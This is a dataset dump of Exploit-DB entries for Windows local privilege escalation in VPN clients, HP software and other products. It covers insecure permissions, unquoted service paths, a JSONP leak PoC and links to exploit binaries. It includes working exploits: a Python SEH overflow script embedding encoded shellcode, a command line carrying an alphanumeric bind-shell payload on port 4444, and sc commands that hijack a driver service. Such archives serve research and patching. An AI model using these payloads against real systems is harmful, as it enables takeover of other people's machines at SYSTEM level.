deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40071
Description: Hide.Me VPN Client 1.2.4 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2016-07-08
Author: sh4d0wman

Exploit:
Title: Hide.Me VPN Client - EoP: User to SYSTEM
CWE Class: CWE-276: Incorrect Default Permissions
Date: 01/06/2016
Vendor: eVenture
Product: Hide.Me VPN Client
Version: 1.2.4
Download link: https://hide.me/en/software/windows
Tested on: Windows 7 x86,  fully patched
Release mode: no bugbounty program, public release

Installer Name: Hide.me-Setup-1.2.4.exe
MD5: e5e5e2fa2c9592660a180357c4482740
SHA1: 4729c45d6399c759cd8f6a0c5773e08c6c57e034

- 1. Introduction: -
The installer automatically creates a folder named "hide.me VPN" under 
c:\program files\ for the software. 
No other location can be specified during installation.

The folder has insecure permissions allowing EVERYONE the WRITE permission. 
Users can replace binaries or plant malicious DLLs to obtain elevated privileges.

As the software is running one executable as service under SYSTEM
permissions an attacker could elevate from regular user to SYSTEM.

- 2. Technical Details/PoC: -
A. Obtain and execute the installer. 
B. Observe there is no prompt to specify an installation location.
C. Review permissions under the Explorer Security tab or run icacls.exe

Example:

C:\Program Files\hide.me VPN Everyone:(OI)(CI)(M)
                             NT SERVICE\TrustedInstaller:(I)(F)
                             NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                             NT AUTHORITY\SYSTEM:(I)(F)
                             NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                             BUILTIN\Administrators:(I)(F)
                             BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                             BUILTIN\Users:(I)(RX)
                             BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                             CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

C. A user can overwrite an executable or drop a malicious DLL to obtain code execution. 
The highest permissions are reached by overwriting the service executable: vpnsvc.exe

However it is running at startup and can't be stopped by a non-privileged user. 

As we can write to the directory we can rename all of the DLL's to DLL.old

C:\Program Files\hide.me VPN\Common.dll
C:\Program Files\hide.me VPN\SharpRaven.dll
C:\Program Files\hide.me VPN\ComLib.dll
C:\Program Files\hide.me VPN\vpnlib.dll
C:\Program Files\hide.me VPN\Newtonsoft.Json.dll
C:\Program Files\hide.me VPN\DotRas.dll

Once renamed, reboot the machine, log on as normal user. 

E. Observe both application AND the system service have crashed. 
Now replace vpnsvc.exe with a malicious copy.
Place back all original DLLS and reboot.

Our code will get executed under elevated permissions: SYSTEM.

- 3. Mitigation: -
A. set appropriate permissions on the application folder.

- 4. Author: -
sh4d0wman
Exploit-DB #43057
Description: HitmanPro 3.7.15 Build 281 - Kernel Pool Overflow
Type: local
Platform: windows
Date: 2017-10-26
Author: cbayet

Exploit:
Exploit-CVE-2017-6008

The CVE-2017-6008 is a vulnerability in the HitmanPro scan that allows privilege escalation by exploiting a kernel pool buffer overflow. The exploits here use the Quota Process Pointer Overwrite attack as described in the Tarjei Mandt's paper

Also, the exploits use my Pool sprayer library

You can find a detailed paper on the Windows 7 exploit here: 
https://trackwatch.com/kernel-pool-overflow-exploitation-in-real-world-windows-7/

Windows 10 version

This version use another vulnerability in the hitmanpro37.sys driver, an Out-Of-Bounds read, which we use to leak the Pool Cookie. This leak allows us to use the very same attack on Windows 10.

You can find a detailed paper of the exploit on Windows 10 here (coming soon):
https://trackwatch.com/


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43057.zip
Exploit-DB #20022
Description: HM Software S to Infinity 3.0 - Multiple Vulnerabilities
Type: local
Platform: windows
Date: 2000-06-15
Author: Synapt1c

Exploit:
source: https://www.securityfocus.com/bid/1368/info

A number of vulnerabilities exist in HM Software S to Infinity, a security access control, desktop lockdown and transparent encryption application. Intended features include restriction of access to folders, files, floppy and CD-ROM drives, etc.

Early versions of S to Infinity allows the capability of any user to rename files and directories which opens up the possibility of a number of exploits:
- Renaming the S to Infinity directories in /Program Files and /Winnt/System will cause the program to cease to function.
- S to Infinity implicitly trusts any allowed program on the system. However, it can be configured to set *.exe to read-only. Therefore, a user can run any application by copying the executable program to something.txt and then renaming that copy to a trusted executable like notepad.exe.

Other security flaws present in S to Infinity:
- The drive invisibility mechanism can be bypassed by using Find, Internet Explorer, or Open and Save Dialogue boxes. Searching for the hidden drive letter and a known file in Find will allow access to files on the hidden drive. A user can open a hidden drive in Internet Explorer by clicking on a link that refers to the particular drive (eg. <a href="c:\">Link</a>).

- File and directory attributes can be modified using the DOS attrib command. StoI file-level protection does not rely on DOS file attributes, so this will not affect StoI settings. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20022.exe
Exploit-DB #50765
Description: HMA VPN 5.3 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-21
Author: Saud Alenazi

Exploit:
# Exploit Title: HMA VPN 5.3 - Unquoted Service Path
# Date: 18/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.hidemyass.com/
# Software Link: https://www.hidemyass.com/en-us/downloads
# Version: 5.3.5913.0
# Tested: Windows 10 Pro x64 es


C:\Users\saudh>sc qc HmaProVpn
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HmaProVpn
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Privax\HMA VPN\VpnSvc.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : HMA VPN
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #48068
Description: HomeGuard Pro 9.3.1 - Insecure Folder Permissions
Type: local
Platform: windows
Date: 2020-02-14
Author: boku

Exploit:
# Exploit Title: HomeGuard Pro 9.3.1 - Insecure Folder Permissions
# Exploit Author: boku
# Date: 2020-02-13
# Vendor Homepage: https://veridium.net
# Software Link: https://veridium.net/files_u/hg-pro/exe/HomeGuardPro-Setup.exe
# Version 9.3.1
# Tested On: Windows 10 (32-bit)

# HomeGuard Pro v9.3.1 - Unquoted Service Path + Insecure Folder/File/Service Permissions

## Service Information (Unquoted Service Path)
C:\>wmic service get Name,PathName,StartMode,StartName | findstr /v "C:\Windows" | findstr /i /v """
Name            PathName                                       StartMode    StartName
HG52 AM VI      C:\Program Files\HomeGuard Pro\vglset.exe      Auto         LocalSystem
HG52 AMC        C:\Program Files\HomeGuard Pro\vglsetw.exe     Auto         LocalSystem
HG52 AM REM     C:\Program Files\HomeGuard Pro\vglrem.exe      Auto         LocalSystem
HG52 AM SRV     C:\Program Files\HomeGuard Pro\vglserv.exe     Auto         LocalSystem

## Insecure Folder Permission
C:\>icacls "C:\Program Files\HomeGuard Pro" | findstr /i "Users"
C:\Program Files\HomeGuard Pro               BUILTIN\Users:(F)

## Insecure File/Service Permission
C:\>icacls "C:\Program Files\HomeGuard Pro\VGL*" | findstr /i "Users"
C:\Program Files\HomeGuard Pro\vglrem.exe    BUILTIN\Users:(I)(F)
C:\Program Files\HomeGuard Pro\VGLSERV.EXE   BUILTIN\Users:(I)(F)
C:\Program Files\HomeGuard Pro\vglset.exe    BUILTIN\Users:(I)(F)
C:\Program Files\HomeGuard Pro\vglsetw.exe   BUILTIN\Users:(I)(F)
Exploit-DB #15022
Description: Honestech VHS to DVD 3.0.30 Deluxe - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-09-16
Author: Brennon Thomas

Exploit:
#!/usr/bin/python
#
# Exploit Title: Honestech VHS to DVD <= 3.0.30 Deluxe Local Buffer Overflow (SEH)
# Date: September 16, 2010
# Author: Brennon Thomas thomab310@gmail.com
# Software Link: n/a
# Version: <= 3.0.30.0 Deluxe
# Tested on: Windows XP SP2/SP3 using Honestech VHS to DVD 3.0.2 and 3.0.30.0
#
# Usage: This python script generates the malicious .ilj project file. 
# Open Honestech VHS to DVD <= 3.0.30 Deluxe in Advanced mode and
# load the corrupt file.
#
# Exploit is for education purposes only.  Author takes no responsibility
# for what you do with it. 

#Required file text
buf = "\r\n\
\r\n\
<CAPTURE>\r\n\
\r\n\
[MAINDLG]\r\n\
PAGE=0\r\n\
\r\n\
[AVICODEC]\r\n\
VIDEOCODEC=DivX 6.8.5 Codec (2 Logical CPUs)\r\n\
AUDIOCODEC=MPEG Layer-3\r\n\
\r\n\
[WMVINFO]\r\n\
TITLE=  \r\n\
AUTHOR=  \r\n\
COPYRIGHT=  \r\n\
DESCRIPTION=  \r\n\
\r\n\
[CAPTUREINFO]\r\n\
OUTPUTFOLDER=E:\\misc\\\r\n\
STATE=0,1,1,0,4396,4,1,0,0\r\n\
\r\n\
[BURNINFO]\r\n\
STATE=0,0,0,0,0,0\r\n\
TEMPFOLDER=E:\\misc\\\r\n\
VIDEOTSFOLDER=E:\\misc\\\r\n\
IMAGEFOLDER=E:\\misc\\\r\n\
\r\n\
[FILELIST]\r\n\
FILE=E:\\"

buf += "\x90"*257         #Junk
buf += "\xeb\x08\x90\x90" #JMP SHORT 8, NOP Padding
buf += "\xba\x25\x31\x58" #SEH Overwrite to POP,POP,RETN in msg723.acm
buf += "\x90"*16          #NOP Buffer

#msfpayload windows/exec CMD=calc.exe R | msfencode -a x86 -b '\x00\x0a\x0d\x2c' -t c
#[*] x86/shikata_ga_nai succeeded with size 228 (iteration=1)
buf += ("\xbe\xf9\x89\xfa\xaa\xdb\xca\xd9\x74\x24\xf4\x33\xc9\xb1\x33"
"\x5d\x31\x75\x13\x83\xed\xfc\x03\x75\xf6\x6b\x0f\x56\xe0\xe5"
"\xf0\xa7\xf0\x95\x79\x42\xc1\x87\x1e\x06\x73\x18\x54\x4a\x7f"
"\xd3\x38\x7f\xf4\x91\x94\x70\xbd\x1c\xc3\xbf\x3e\x91\xcb\x6c"
"\xfc\xb3\xb7\x6e\xd0\x13\x89\xa0\x25\x55\xce\xdd\xc5\x07\x87"
"\xaa\x77\xb8\xac\xef\x4b\xb9\x62\x64\xf3\xc1\x07\xbb\x87\x7b"
"\x09\xec\x37\xf7\x41\x14\x3c\x5f\x72\x25\x91\x83\x4e\x6c\x9e"
"\x70\x24\x6f\x76\x49\xc5\x41\xb6\x06\xf8\x6d\x3b\x56\x3c\x49"
"\xa3\x2d\x36\xa9\x5e\x36\x8d\xd3\x84\xb3\x10\x73\x4f\x63\xf1"
"\x85\x9c\xf2\x72\x89\x69\x70\xdc\x8e\x6c\x55\x56\xaa\xe5\x58"
"\xb9\x3a\xbd\x7e\x1d\x66\x66\x1e\x04\xc2\xc9\x1f\x56\xaa\xb6"
"\x85\x1c\x59\xa3\xbc\x7e\x34\x32\x4c\x05\x71\x34\x4e\x06\xd2"
"\x5c\x7f\x8d\xbd\x1b\x80\x44\xfa\xd3\xca\xc5\xab\x7b\x93\x9f"
"\xe9\xe6\x24\x4a\x2d\x1e\xa7\x7f\xce\xe5\xb7\xf5\xcb\xa2\x7f"
"\xe5\xa1\xbb\x15\x09\x15\xbc\x3f\x6a\xf8\x2e\xa3\x43\x9f\xd6"
"\x46\x9c\x55")

buf += "\x90"*(6000-(len(buf))) #NOP Buffer
buf += ",0,7462,885953024,4,1,640,480\r\n" #Required file text

f = open("sploit.ilj", "w")
f.write(buf)
f.close()
Exploit-DB #51206
Description: HotKey Clipboard 2.1.0.6 - Privilege Escalation Unquoted Service Path
Type: local
Platform: windows
Date: 2023-04-03
Author: Wim Jaap van Vliet

Exploit:
# Exploit Title: HotKey Clipboard 2.1.0.6 - Privilege Escalation Unquoted Service Path
# Date: 2023/01/17
# Exploit Author : Wim Jaap van Vliet
# Vendor Homepage: www.clevo.com.tw
# Software Link: https://enstrong.blob.core.windows.net/en-driver/PDXXPNX1/Others/CC30_1006.zip
# Version:  2.1.0.6
# Tested on: Windows 11 Pro 10.0.22000

# Exploit
The Hotkey Clipboard Service 'HKClipSvc', installed as part of Control Center3.0 v3.97 (and earlier versions) by Clevo has a unquoted service path.
This software package is usually installed on Clevo laptops (or other brands using Clevo barebones) as a driver.
This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges on the system.

# Information
 
C:\>sc qc "HKClipSvc"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HKClipSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\ControlCenter\Driver\x64\HKClipSvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : HotKey Clipboard Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #44042
Description: Hotspot Shield - Information Disclosure
Type: local
Platform: windows
Date: 2018-01-30
Author: SecuriTeam

Exploit:
## Vulnerability Summary
The following advisory describes a information disclosure found in Hotspot Shield.

Hotspot Shield “provides secure and private access to a free and open internet. Enabling access to social networks, sports, audio and video streaming, news, dating, gaming wherever you are.”

## Credit
An independent security researcher, Paulos Yibelo, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
“Thank you very much again for contacting us. The info is being reviewed and if there are any questions/comments, we’ll contact you by re-opening this ticket”

CVE: CVE-2018-6460

## Vulnerability details
The HotspotShiled product runs webserver with a static IP 127.0.0.1 and port 895.

The web server using JSONP and hosts sensitive information, including, configuration.

User controlled input is not sufficiently filterd, an unauthenticated attacker can send a POST request to /status.js with parameter func=$_APPLOG.Rfunc and extract sensitive information about the machine, including wheater the user is connected to VPN, to which VPN he/she is connected to what their real IP address.

## Proof of Concept

```
<head>
<script>
var $_APPLOG = function() { return 1; }
$_APPLOG.Rfunc = function(leak){
    alert(JSON.stringify(leak));
}
</script>
</head>
<script>
    var head = document.getElementsByTagName('head')[0];
    var script = document.createElement('script');
    script.id = 'jsonp';
    script.src = 'http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm='+(new Date().getTime());
    head.appendChild(script);
</script>
```
Exploit-DB #40528
Description: Hotspot Shield 6.0.3 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-13
Author: Amir.ght

Exploit:
#########################################################################
# Exploit Title: Hotspot Shield Unquoted Service Path Privilege Escalation
# Date: 13/10/2016
# Author: Amir.ght
# Vendor Homepage: https://www.hotspotshield.com
# Software Link: https://www.hotspotshield.com/download/
# version : 6.0.3  (Latest)
# Tested on: Windows 7
##########################################################################

Hotspot Shield installs as a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc hshld
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: hshld
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Hotspot Shield\bin\cmw_srv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Hotspot Shield Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #29403
Description: HP (Multiple Products) - PML Driver HPZ12 Privilege Escalation
Type: local
Platform: windows
Date: 2007-01-08
Author: Sowhat

Exploit:
source: https://www.securityfocus.com/bid/21935/info

Multiple HP products are prone to a local privilege-escalation vulnerability. 

An attacker can exploit this issue to gain SYSTEM-level privileges, completely compromising affected computers. 

This issue affects HP products that use the 'PML Driver HPZ12' driver.

C:\sc config "pml driver hpz12" binpath= D:\attack\attack.exe
C:\sc start "pml driver hpz12"
Exploit-DB #49002
Description: HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: Julio Aviña

Exploit:
# Exploit Title: HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path
# Date: 2020-11-08
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.portrait.com/
# Software Link: https://www.portrait.com/dtune/hwp/enu/
# Software Version: 3.20
# File Version: 1.0.0.1
# Tested on: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%DTSRVC%"' get name, displayname, pathname, startmode, startname

DisplayName                             Name    PathName                                                                 StartMode  StartName
Portrait Displays Display Tune Service  DTSRVC  C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "DTSRVC"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: DTSRVC
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Portrait Displays Display Tune Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.
Exploit-DB #50959
Description: HP LaserJet Professional M1210 MFP Series Receive Fax Service - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-06-14
Author: Ali Alipour

Exploit:
# Exploit Title: HP LaserJet Professional M1210 MFP Series Receive Fax Service - Unquoted Service Path
# Date: 2022-06-06
# Exploit Author: Ali Alipour
# Vendor Homepage: https://support.hp.com/us-en/document/c01998934
# Software Link: https://support.hp.com/us-en/drivers/selfservice/hp-laserjet-pro-m1212nf-multifunction-printer-series/3965847
# Version: 20180815_1
# Tested on: Windows 10 Pro x64
# CVE : N/A

# Service info:

C:\Users\Wr3ak>sc qc "HPM1210RcvFaxSrvc"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HPM1210RcvFaxSrvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\HP\HP LaserJet M1210 MFP Series\ReceiveFaxUtility.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : HP LaserJet Professional M1210 MFP Series Receive Fax Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


#Exploit:

The local user able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #14256
Description: HP OpenView Network Node Manager (OV NNM) 7.53 - 'ovwebsnmpsrv.exe' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-07-07
Author: bitform

Exploit:
# Exploit Title: HP NNM 7.53 ovwebsnmpsrv.exe Buffer Overflow (SEH)
# Date: 07/06/2010
# Author: bitform
# Software Link: hp.com
# Version: 7.53
# Tested on: Windows XP SP2
# CVE: CVE-2010-1964

# Exploit:

C:\Program Files\HP OpenView\www\bin\ovwebsnmpsrv.exe -dump AAAAAAAAAAAAUXf-9Tf-9Tf-9TU\AAAAAAAAAAAAAAAAAAAAAPYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlIxMYC0EPGpCPNiJEP1KbQtLKPRFPLKF2DLNkF2EDNkD2ExFoMgPJDfDqIoEaIPNLElPaQlFbDlGPJaHODMFaIWKRL0QBF7LKBrFpLKQRElFaJpNkQPD8OuIPCDCzEQHPF0LKQXGhNkBxEpEQHSKSElQYLKDtLKFaKfP1KOP1KpLlIQJoDMGqO7DxM0BUJTFcCMIhGKQmQ4CEKRBxLKBxQ4FaN3E6NkDLPKLKBxELEQJsLKC4NkC1HPMYG4GTQ4QKQKCQPYQJCaKOIpBxQOCjLKDRHkMVCmE8GCFRGpC0E8BWCCP2CoPTPhPLQgFFDGIoJuOHNpEQGpGpQ9HDPTBpBHFIMPPkGpIoKePPPPPPBpG0F0G0F0QxJJDOKoM0KOHULIO7DqIKQCE8C2GpFqQLK9HfPjDPCfCgPhIRIKEgE7KOIEBsBwBHH7KYDxKOIoJuQCCcF7PhQdJLEkKQKON5QGOyIWE8QeBNPMQqKON5BHQsBME4C0NiJCBwBwQGP1L6PjGbPYCfKRImBFO7G4FDGLC1FaNmPDGTFpKvGpG4QDPPCfQFF6CvBvBnBvF6QCQFBHQiJlEoNfKOJuK9IpBnF6CvIoP0BHDHOwGmCPKOHUMkJPH5MrF6BHMvJ5MmOmKOJuElDFCLFjOpKKM0BUEUOKG7GcQbBOCZC0CcKON5DJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYY5AZCCX,Y,XP\SX-1UUU-1PPP-N_ZZPSX-zzzd-{zzd-{zzMPCCCCCCCCCCCCCCCCCCCCCCCCCCCC

# Notes: 

This is the result of my research on CVE-2010-1964. Finding this vulnerability locally was trivial but getting
a remote exploit via jovgraph.exe never quite worked out for me. I'm hoping someone will be able to make this
a practical remote exploit. :D

Overflowing many of the other command line options will overwrite SEH as well (e.g. -demo)

Explanation of buffer:

"UXf-9Tf-9Tf-9TU"
Carve out EAX as the base register for the alphanumeric shellcode

"PYIIIIIIIIIIIIIIII7QZ"...
Alphanumeric bind shell
# ./msfpayload windows/shell_bind_tcp LPORT=4444 RHOST=127.0.0.1 R | ./msfencode BufferRegister=EAX -e x86/alpha_mixed -t raw

   \/ Overwrite SEH  
  [  ]
"YY5AZCCX,Y,XP\SX-1UUU-1PPP-N_ZZPSX-zzzd-{zzd-{zzMP"
      [                                           ]
	                     /\ Carve out non-conditional jmp to carve EAX code